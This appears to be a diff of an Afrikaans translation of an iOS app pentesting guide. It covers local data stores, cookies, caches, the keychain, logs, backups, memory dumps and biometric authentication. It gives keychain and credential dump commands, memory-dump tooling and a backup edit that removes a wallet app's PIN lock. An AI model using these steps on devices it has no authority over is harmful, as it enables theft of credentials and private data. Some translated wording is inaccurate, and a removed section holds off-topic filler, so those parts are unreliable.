Swift](https://realm.io/docs/swift/latest/) bied 'n kragtige alternatief vir data-opberging, nie voorsien deur Apple nie. Standaard **stoor hulle data onversleutel**, met versleuteling beskikbaar deur spesifieke konfigurasie. -Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te verken, kan mens opdragte soos die volgende gebruik: +Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te verken, kan mens opdragte gebruik soos: ```bash iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls default.realm default.realm.lock default.realm.management/ default.realm.note| @@ -504,9 +504,9 @@ fatalError("Error opening realm: \(error)") ``` ### Couchbase Lite Databasis -[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **ligte** en **ingeboude** databasis-enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Dit is ontwerp om inheems te wees aan **iOS** en **macOS**, en bied die vermoë om data naatloos te sinchroniseer. +[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **ligte** en **ingeboude** databasis-enjin wat die **dokumentgeoriënteerde** (NoSQL) benadering volg. Dit is ontwerp om inheems te wees aan **iOS** en **macOS**, en bied die vermoë om data naatloos te sinchroniseer. -Om potensiële Couchbase databasisse op 'n toestel te identifiseer, moet die volgende gids ondersoek word: +Om potensiële Couchbase-databasisse op 'n toestel te identifiseer, moet die volgende gids ondersoek word: ```bash ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/ ``` @@ -514,7 +514,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S iOS stoor die koekies van die programme in die **`Library/Cookies/cookies.binarycookies`** binne elke program se vouer. Ontwikkelaars besluit egter soms om hulle in die **sleutelhangertoestel** te stoor aangesien die genoemde **koekie lêer in rugsteune toeganklik kan wees**. -Om die koekie lêer te ondersoek, kan jy [**hierdie Python-skrip**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) gebruik of objection se **`ios cookies get`.**\ +Om die koekies lêer te ondersoek, kan jy [**hierdie Python-skrip**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) gebruik of objection se **`ios cookies get`.**\ **Jy kan ook objection gebruik om** hierdie lêers na 'n JSON-formaat te omskep en die data te ondersoek. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json @@ -533,7 +533,7 @@ Om die koekie lêer te ondersoek, kan jy [**hierdie Python-skrip**](https://gith ``` ### Cache -Standaard stoor NSURLSession data, soos **HTTP-versoeke en -antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, as tokkens, gebruikersname of enige ander sensitiewe inligting gekasheer is. Om die gekasheerde inligting te vind, open die data-gids van die program (`/var/mobile/Containers/Data/Application/`) en gaan na `/Library/Caches/`. Die **WebKit-cache word ook gestoor in die Cache.db** lêer. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n **normale SQLite-databasis** is. +Standaard stoor NSURLSession data, soos **HTTP-versoeke en -antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, as tokkens, gebruikersname of enige ander sensitiewe inligting gekasheer is. Om die gekasheerde inligting te vind, open die data-gids van die program (`/var/mobile/Containers/Data/Application/`) en gaan na `/Library/Caches/`. Die **WebKit-cache word ook gestoor in die Cache.db** lêer. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n **gewone SQLite-databasis** is. Dit word **aanbeveel om hierdie data se Kassering te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys toon verskillende maniere om dit te bereik: @@ -542,11 +542,11 @@ Dit word **aanbeveel om hierdie data se Kassering te deaktiveer**, aangesien dit `URLCache.shared.removeAllCachedResponses()` Hierdie metode sal alle gekasheerde versoeke en antwoorde uit die Cache.db-lêer verwyder. -2. As jy nie die voordeel van koekies wil gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie-eienskap van URLSession te gebruik, wat die stoor van koekies en Kassering sal deaktiveer. +2. As jy nie die voordeel van koekies wil gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie-eienskap van URLSession te gebruik, wat koekies en Kassering deaktiveer. [Apple-dokumentasie](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): -`'n Ephemeral-sessiekonfigurasie-objek is soortgelyk aan 'n verstek-sessiekonfigurasie (sien verstek), behalwe dat die ooreenstemmende sessieobjek nie kassas, geloofsbewaarplekke, of enige sessie-verwante data na skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste tyd wat 'n ephemeral-sessie data na skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.` +`'n Ephemeral-sessiekonfigurasie-objek is soortgelyk aan 'n verstek-sessiekonfigurasie (sien verstek), behalwe dat die ooreenstemmende sessieobjek nie kassas, geloofsbewaarplekke of enige sessie-verwante data na skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste tyd wat 'n ephemeral-sessie data na skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.` 3. Kassering kan ook gedeaktiveer word deur die Kasseringbeleid in te stel op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Dit sal die stoor van Kassering op enige manier, hetsy in geheue of op skyf, deaktiveer. ### Snapshots @@ -574,7 +574,7 @@ func applicationWillEnterForeground(_ application: UIApplication) { backgroundImage?.removeFromSuperview() } ``` -### Doel-C: +**Doel-C:** ``` @property (UIImageView *)backgroundImage; @@ -593,11 +593,11 @@ Hierdie stel die agtergrondbeeld in op `overlayImage.png` wanneer die aansoek na ### Sleutelbos -Vir toegang tot en bestuur van die iOS-sleutelbos, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir gejailbreakte toestelle. Daarbenewens bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes. +Vir toegang tot en bestuur van die iOS-sleutelbos, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir gejailbreakte toestelle. Daarbenewens bied [**Objection**](https://github.com/sensepost/objection) die bevel `ios keychain dump` vir soortgelyke doeleindes. -#### **Stoor van Gelde** +#### **Stoor Legitimasie** -Die **NSURLCredential** klas is ideaal vir die stoor van sensitiewe inligting direk in die sleutelbos, om NSUserDefaults of ander omhulsels te vermy. Om gelde na die aanmelding te stoor, word die volgende Swift-kode gebruik: +Die **NSURLCredential** klas is ideaal vir die stoor van sensitiewe inligting direk in die sleutelbos, om die behoefte aan NSUserDefaults of ander omhulsels te vermy. Om legitimasie na die aanmelding te stoor, word die volgende Swift-kode gebruik: ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; @@ -607,22 +607,22 @@ Om hierdie gestoorde geloofsbriewe te onttrek, word die bevel `ios nsurlcredenti ## **Aangepaste Sleutelborde en Sleutelbordgeheue** -Met iOS 8.0 en verder kan gebruikers aangepaste sleutelborduitbreidings installeer, wat bestuurbaar is onder **Instellings > Algemeen > Sleutelbord > Sleutelborde**. Terwyl hierdie sleutelborde verlengde funksionaliteit bied, hulle stel 'n risiko van sleutelbordlogging en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van sleutelborde wat netwerktoegang benodig. Programme kan, en moet, die gebruik van aangepaste sleutelborde vir die invoer van sensitiewe inligting beperk. +Met iOS 8.0 en later kan gebruikers aangepaste sleutelborduitbreidings installeer, wat bestuurbaar is onder **Instellings > Algemeen > Sleutelbord > Sleutelborde**. Terwyl hierdie sleutelborde uitgebreide funksionaliteit bied, hulle 'n risiko van sleutelstrokkeloggings en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van sleutelborde wat netwerktoegang benodig. Programme kan, en behoort, die gebruik van aangepaste sleutelborde vir die invoer van sensitiewe inligting te beperk. **Sekuriteitsaanbevelings:** * Dit word aanbeveel om derdeparty-sleutelborde te deaktiveer vir verbeterde sekuriteit. -* Wees bewus van die outokorreksie- en outo-voorstel-funksies van die verstek iOS-sleutelbord, wat sensitiewe inligting in geheue lêers wat in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat` geleë is, kan stoor. Hierdie geheue lêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordwoordeboek te herstel via **Instellings > Algemeen > Herstel > Herstel Sleutelbordwoordeboek** om gekaakte data te skoonmaak. +* Wees bewus van die outokorreksie- en outo-voorstel-funksies van die verstek iOS-sleutelbord, wat sensitiewe inligting in die geheue lêers geleë in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat` kan stoor. Hierdie geheue lêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordwoordeboek te herstel via **Instellings > Algemeen > Herstel > Herstel Sleutelbordwoordeboek** om gekaapte data te skoonmaak. * Die onderskepping van netwerkverkeer kan onthul of 'n aangepaste sleutelbord sleutelstrokes op afstand oordra. ### **Voorkoming van Teksveldgeheue** -Die [UITextInputTraits-protokol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is vir die voorkoming van die kaching van sensitiewe inligting. Byvoorbeeld, die deaktivering van outokorreksie en die aktivering van veilige teksinvoer kan bereik word met: +Die [UITextInputTraits-protokol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is vir die voorkoming van die kapping van sensitiewe inligting. Byvoorbeeld, die deaktivering van outokorreksie en die aktivering van veilige teksinvoer kan bereik word met: ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; ``` -Daarbenewens moet ontwikkelaars verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PINs, kaching deaktiveer deur `autocorrectionType` in te stel op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES`. +Daarbenewens moet ontwikkelaars verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PINs, die kaching deaktiveer deur `autocorrectionType` in te stel op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES`. ```objectivec UITextField *textField = [[UITextField alloc] initWithFrame:frame]; textField.autocorrectionType = UITextAutocorrectionTypeNo; @@ -635,16 +635,16 @@ Ten spyte van hierdie beperkings kan 'n **aanvaller met fisiese toegang** tot 'n Om risiko's te verminder, word dit aanbeveel om **deeglik met die toepassing te interageer**, al sy funksies en insette te verken om te verseker dat geen sensitiewe inligting per ongeluk gelog word nie. -Wanneer jy die bronkode van die toepassing deurkyk vir potensiële lekkasies, soek na beide **voorgedefinieerde** en **aangepaste logging-stellings** met sleutelwoorde soos `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` vir ingeboude funksies, en enige vermeldings van `Logging` of `Logfile` vir aangepaste implementasies. +Wanneer jy die bronkode van die toepassing deurkyk vir potensiële lekkasies, soek na beide **voorgedefinieerde** en **aangepaste logging-stellings** met sleutelwoorde soos `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` vir ingeboude funksies, en enige meldings van `Logging` of `Logfile` vir aangepaste implementasies. ### **Monitering van Stelsellogs** -Toepassings log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, kan gereedskap en opdragte soos: +Toepassings log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, kan gereedskap en bevele soos: ```bash idevice_id --list # To find the device ID idevicesyslog -u (| grep ) # To capture the device logs ``` -Is nuttig. Daarbenewens bied **Xcode** 'n manier om konsole-logboeke te versamel: +is nuttig. Daarbenewens bied **Xcode** 'n manier om konsole-logboeke te versamel: 1. Maak Xcode oop. 2. Koppel die iOS-toestel aan. @@ -653,7 +653,7 @@ Is nuttig. Daarbenewens bied **Xcode** 'n manier om konsole-logboeke te versamel 5. Trigger die probleem wat jy ondersoek. 6. Gebruik die **Maak Konsole Oop**-knoppie om logboeke in 'n nuwe venster te sien. -Vir meer gevorderde logging, kan die koppel van die toestel se skul en die gebruik van **socat** werklike tyd log-monitoring bied: +Vir meer gevorderde logging kan die koppel aan die toestel se skul en die gebruik van **socat** werklike tyd log-monitoring bied: ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` @@ -664,28 +664,28 @@ Volg deur bevele om logaktiwiteite waar te neem, wat van onschatbare waarde kan
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik **werkvloeie te bou** en outomatiseer, aangedryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} ## Agteruitskopieë -**Outomatiese agteruitskopiefunksies** is geïntegreer in iOS, wat die skep van toesteldatakopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina voort) of iCloud fasiliteer. Hierdie agteruitskopieë dek amper alle toesteldata, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies. +**Outomatiese agteruitskopieëfunksies** is geïntegreer in iOS, wat die skep van toesteldata-eksemplare deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina voort) of iCloud fasiliteer. Hierdie agteruitskopieë dek bykans alle toesteldata, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies. ### Sekuriteitsrisiko's -Die insluiting van **geïnstalleerde programme en hul data** in agteruitskopieë bring die kwessie van potensiële **datalekage** na vore en die risiko dat **agteruitskopiewysigings programfunksionaliteit kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks te stoor** binne enige program se gids of sy subgidse om hierdie risiko's te verminder. +Die insluiting van **geïnstalleerde programme en hul data** in agteruitskopieë lig die kwessie van potensiële **datalekage** en die risiko dat **agteruitskopiewysigings programfunksionaliteit kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks te stoor** binne enige program se gids of sy subgidse om hierdie risiko's te verminder. ### Uitsluiting van Lêers uit Agteruitskopieë -Lêers in `Documents/` en `Library/Application Support/` word standaard agteruitgekopieer. Ontwikkelaars kan spesifieke lêers of gids uit agteruitskopieë uitsluit deur `NSURL setResourceValue:forKey:error:` te gebruik met die `NSURLIsExcludedFromBackupKey`. Hierdie praktyk is noodsaaklik om sensitiewe data te beskerm teen insluiting in agteruitskopieë. +Lêers in `Documents/` en `Library/Application Support/` word standaard agteruitgekopieer. Ontwikkelaars kan spesifieke lêers of gidse uit agteruitskopieë uitsluit deur `NSURL setResourceValue:forKey:error:` met die `NSURLIsExcludedFromBackupKey` te gebruik. Hierdie praktyk is noodsaaklik om sensitiewe data te beskerm teen insluiting in agteruitskopieë. ### Toets vir Swakhede -Om 'n program se agteruitskopie-sekuriteit te assesseer, begin deur 'n agteruitskopie te **skep** met Finder, en vind dit dan met behulp van leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die agteruitskopie vir sensitiewe data of konfigurasies wat verander kan word om programgedrag te affekteer. +Om 'n program se agteruitskopie-sekuriteit te assesseer, begin deur **'n agteruitskopie te skep** met Finder, en vind dit dan met behulp van leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die agteruitskopie vir sensitiewe data of konfigurasies wat verander kan word om programgedrag te affekteer. -Sensitiewe inligting kan opgespoor word met behulp van opdraglyninstrumente of toepassings soos [iMazing](https://imazing.com). Vir versleutelde agteruitskopieë kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die agteruitskopie se hoof te kontroleer. +Sensitiewe inligting kan opgespoor word met behulp van opdraglyn-instrumente of toepassings soos [iMazing](https://imazing.com). Vir versleutelde agteruitskopieë kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die agteruitskopie se hoof te kontroleer. ```xml @@ -698,21 +698,21 @@ Sensitiewe inligting kan opgespoor word met behulp van opdraglyninstrumente of t ... ``` -Vir die hantering van versleutelde rugsteunkopieë, kan Python-skripte beskikbaar in [DinoSec se GitHub-opberging](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), soos **backup\_tool.py** en **backup\_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir versoenbaarheid met die nuutste iTunes/Finder-weergawes. Die [**iOSbackup**-werktuig](https://pypi.org/project/iOSbackup/) is 'n ander opsie vir die toegang tot lêers binne wagwoordbeskermde rugsteunkopieë. +Vir die hantering van versleutelde rugsteun, kan Python-skripte beskikbaar in [DinoSec se GitHub-opberging](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), soos **backup\_tool.py** en **backup\_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir versoenbaarheid met die nuutste iTunes/Finder weergawes. Die [**iOSbackup**-werktuig](https://pypi.org/project/iOSbackup/) is 'n ander opsie vir die toegang tot lêers binne wagwoordbeskermde rugsteune. ### Wysiging van App-gedrag -'n Voorbeeld van die verandering van app-gedrag deur rugsteunveranderings word gedemonstreer in die [Bither bitcoin-bewaarportefeulje-app](https://github.com/bither/bither-ios), waar die UI-slot-PIN binne `net.bither.plist` onder die **pin\_code** sleutel gestoor word. Die verwydering van hierdie sleutel uit die plist en die herstel van die rugsteun verwyder die PIN-vereiste, wat onbeperkte toegang bied. +'n Voorbeeld van die verandering van app-gedrag deur rugsteunwysigings word gedemonstreer in die [Bither bitcoin-bewaarplek-app](https://github.com/bither/bither-ios), waar die UI-slot-PIN binne `net.bither.plist` onder die **pin\_code** sleutel gestoor word. Die verwydering van hierdie sleutel uit die plist en die herstel van die rugsteun verwyder die PIN-vereiste, wat onbeperkte toegang bied. -## Opsomming van Geheugentoetsing vir Sensitiewe Data +## Opsomming van Geheuetoetsing vir Sensitiewe Data -Wanneer daar gehandel word met sensitiewe inligting wat in 'n toepassing se geheue gestoor word, is dit noodsaaklik om die blootstellingsduur van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **die skep van 'n geheue-afleëring** en **die analise van die geheue in werklike tyd**. Beide metodes het hul uitdagings, insluitend die potensiaal om kritieke data tydens die afleesproses of analise te mis. +Wanneer daar gehandel word met sensitiewe inligting wat in 'n aansoek se geheue gestoor word, is dit noodsaaklik om die blootstellingsduur van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **die skep van 'n geheue-dump** en **die analise van die geheue in werklike tyd**. Beide metodes het hul uitdagings, insluitend die potensiaal om kritieke data tydens die dump-proses of analise te mis. -## **Ophaling en Analise van 'n Geheue-Afleëring** +## **Ophaling en Analise van 'n Geheue-dump** -Vir beide gejailbreakte en nie-gejailbreakte toestelle, maak gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) dit moontlik om 'n toepassing se prosesgeheue af te lees. Nadat dit afgelees is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting wat jy soek. +Vir beide gejailbreakte en nie-gejailbreakte toestelle, maak gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) die dump van 'n aansoek se prosesgeheue moontlik. Nadat dit gedump is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting wat jy soek. -Om strings uit 'n geheue-afleëring te onttrek, kan opdragte soos `strings` of `rabin2 -zz` gebruik word: +Om strings uit 'n geheue-dump te onttrek, kan opdragte soos `strings` of `rabin2 -zz` gebruik word: ```bash # Extracting strings using strings command $ strings memory > strings.txt @@ -720,7 +720,7 @@ $ strings memory > strings.txt # Extracting strings using rabin2 $ rabin2 -ZZ memory > strings.txt ``` -Vir meer gedetailleerde analise, insluitend die soek na spesifieke datatipes of patrone, bied **radare2** uitgebreide soekfunksies: +Vir meer gedetailleerde analise, insluitend die soeke na spesifieke datatipes of patrone, bied **radare2** uitgebreide soekmoontlikhede: ```bash $ r2 [0x00000000]> /? @@ -728,7 +728,7 @@ $ r2 ``` ## **Uitvoertydgeheue-ontleding** -**r2frida** bied 'n kragtige alternatief vir die inspeksie van 'n toep se geheue in werklike tyd, sonder om 'n geheue-afvoer nodig te hê. Hierdie instrument maak die uitvoering van soekopdragte direk op die lopende toepassing se geheue moontlik: +**r2frida** bied 'n kragtige alternatief vir die inspeksie van 'n toep se geheue in werklike tyd, sonder om 'n geheue-afvoer te benodig. Hierdie instrument maak die uitvoering van soekopdragte direk op die lopende toepassing se geheue moontlik: ```bash $ r2 frida://usb// [0x00000000]> /\ @@ -741,7 +741,7 @@ Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en versleutel ### Gebruik van Onveilige en/of Uitgefaseerde Algoritmes -Ontwikkelaars behoort nie **uitgefaseerde algoritmes** te gebruik om outorisasie **kontroles** uit te voer, data te **stoor** of te **stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashe** byvoorbeeld gebruik word om wagwoorde te stoor, moet hashe wat weerstand bied teen brutale krag gebruik word met sout. +Ontwikkelaars behoort nie **uitgefaseerde algoritmes** te gebruik om outorisasie **kontroles** uit te voer, data te **stoor** of te **stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hasse** byvoorbeeld gebruik word om wagwoorde te stoor, moet hasse wat weerstand bied teen brutale krag met sout gebruik word. ### Kontrole @@ -755,35 +755,35 @@ Vir **meer inligting** oor iOS kriptografiese API's en biblioteke, besoek [https ## Plaaslike Verifikasie -**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit gaan oor die beskerming van toegang tot 'n afgeleë eindpunt deur middel van kriptografiese metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiemeganismes omseil kan word. +**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit gaan oor die beskerming van toegang tot 'n afgeleë eindpunt deur kriptografiese metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiemeganismes omseil kan word. -Apple se [**Plaaslike Verifikasieraamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelhang**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasie-dialoge te fasiliteer en geheime data veilig te hanteer, onderskeidelik. Die Veilige Omsluiting beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID staatmaak op gesigskenning sonder om biometriese data in gevaar te stel. +Apple se [**Plaaslike Verifikasieraamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelbos**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasie-dialoge te fasiliteer en geheime data veilig te hanteer, onderskeidelik. Die Veilige Omsluiting verseker vingerafdruk-ID vir Touch ID, terwyl Face ID staatmaak op gesigskenning sonder om biometriese data in gevaar te stel. Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses: * **`LocalAuthentication.framework`** vir hoëvlak-gebruikersverifikasie sonder toegang tot biometriese data. -* **`Security.framework`** vir laervlak-sleutelhangdiensetoegang, wat geheime data met biometriese verifikasie beveilig. Verskeie [oopbron-omsluiters](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelhangtoegang eenvoudiger. +* **`Security.framework`** vir laevlak-sleutelbosdiensetoegang, wat geheime data met biometriese verifikasie beveilig. Verskeie [oopbron-omsluiters](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelbostoegang eenvoudiger. {% hint style="danger" %} -Nietemin, bied beide `LocalAuthentication.framework` en `Security.framework` kwesbaarhede, aangesien hulle hoofsaaklik booleaanwaardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Raak my nie daardie manier aan nie, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +Nietemin, beide `LocalAuthentication.framework` en `Security.framework` het kwesbaarhede, aangesien hulle hoofsaaklik booleaanwaardes terugstuur sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (sien [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). {% endhint %} ### Implementering van Plaaslike Verifikasie Om gebruikers te versoek vir verifikasie, moet ontwikkelaars die **`evaluatePolicy`**-metode binne die **`LAContext`**-klas gebruik, waarby hulle kan kies tussen: -* **`deviceOwnerAuthentication`**: Versoek vir Touch ID of toestel wagwoord, wat misluk as geen van beide geaktiveer is. +* **`deviceOwnerAuthentication`**: Versoek vir Touch ID of toestel wagwoord, wat misluk indien geen van beide geaktiveer is. * **`deviceOwnerAuthenticationWithBiometrics`**: Uitsluitlik versoek vir Touch ID. -'n Suksesvolle verifikasie word aangedui deur 'n booleaanwaarde wat teruggegee word deur **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout aandui. +'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugvoerwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout beklemtoon. -### Plaaslike Verifikasie met Sleutelhang +### Plaaslike Verifikasie met Sleutelbos -Die implementering van **plaaslike verifikasie** in iOS-toepassings behels die gebruik van **sleutelhang-API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker toegang kan word, deur hul toestel wagwoord of biometriese verifikasie soos Touch ID te gebruik. +Die implementering van **plaaslike verifikasie** in iOS-toepassings behels die gebruik van **sleutelbos-API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker toeganklik is, deur hul toestel wagwoord of biometriese verifikasie soos Touch ID te gebruik. -Die sleutelhang bied die vermoë om items met die `SecAccessControl`-eienskap in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer via Touch ID of toestel wagwoord. Hierdie kenmerk is noodsaaklik vir die verbetering van sekuriteit. +Die sleutelbos bied die vermoë om items met die `SecAccessControl`-eienskap in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer via Touch ID of toestel wagwoord. Hierdie kenmerk is noodsaaklik vir die verbetering van sekuriteit. -Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/die sleutelhang te stoor en te herwin, waardeur van hierdie sekuriteitskenmerke gebruik gemaak word. Die voorbeelde toon spesifiek hoe om toegangsbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs toeganklik is op die toestel waarop dit opgestel is, onder die voorwaarde dat 'n toestel wagwoord gekonfigureer is. +Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/die sleutelbos te stoor en te herwin, waardeur van hierdie sekuriteitskenmerke gebruik gemaak word. Die voorbeelde toon spesifiek hoe om toegangsbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs toeganklik is op die toestel waarop dit opgestel is, onder die voorwaarde dat 'n toestel wagwoord geconfigureer is. {% tabs %} {% tab title="Swift" %} @@ -825,38 +825,17 @@ if status == noErr { ``` {% endtab %} -{% tab title="Objective-C" %} -### Doel -Die doel van hierdie gedeelte is om jou te help om iOS-toepassings te pentest deur die gebruik van Objective-C. -### Vereistes -Om hierdie tegnieke te implementeer, moet jy 'n basiese begrip van Objective-C hê. -### Aanbevole hulpmiddels -- **Xcode**: 'n Geïntegreerde ontwikkelingsomgewing (IDE) wat deur Apple verskaf word vir die ontwik van iOS-toepassings. -- **Cycript**: 'n nuttige hulpmiddel vir die interaksie met hardloop iOS-toepassings. -- **Theos**: 'n raamwerk wat gebruik word vir die ontwikkeling van iOS-toepassings. -### Aanbevole bronne -- [Objective-C Programming Language](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/Introduction/Introduction.html) -- [Cycript](http://www.cycript.org/) -- [Theos](https://github.com/theos/theos) -### Aanbevole boeke -- "Programming in Objective-C" deur Stephen G. Kochan -- "iOS Hacker's Handbook" deur Charlie Miller, Dion Blazakis, Dino Dai Zovi, en Stefan Esser -### Aanbevole kursusse -- [iOS Development with Objective-C](https://www.udemy.com/course/ios-development-with-objective-c/) -- [Cycript Fundamentals](https://www.udemy.com/course/cycript-fundamentals/) -- [iOS Application Security](https://www.udemy.com/course/ios-application-security/) -### Aanbevole praktykprojekte -- Bou 'n eenvoudige iOS-toepassing en analiseer die veiligheidskwessies daarin. -- Gebruik Cycript om die interne werking van 'n iOS-toepassing te ondersoek. -- Skep 'n toepassing met Theos en identifiseer en los sekuriteitsprobleme op. -### Aanbevole tegnieke -- Injekteer kode in 'n iOS-toepassing met behulp van Cycript. -- Voer statiese en dinamiese analise uit op 'n 